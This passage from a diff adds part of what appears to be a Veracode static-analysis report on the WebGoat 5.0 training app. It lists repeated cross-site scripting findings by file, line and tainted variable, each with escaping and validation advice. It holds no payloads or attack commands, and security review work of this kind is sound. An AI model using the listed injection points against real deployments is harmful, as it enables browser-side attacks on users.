+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
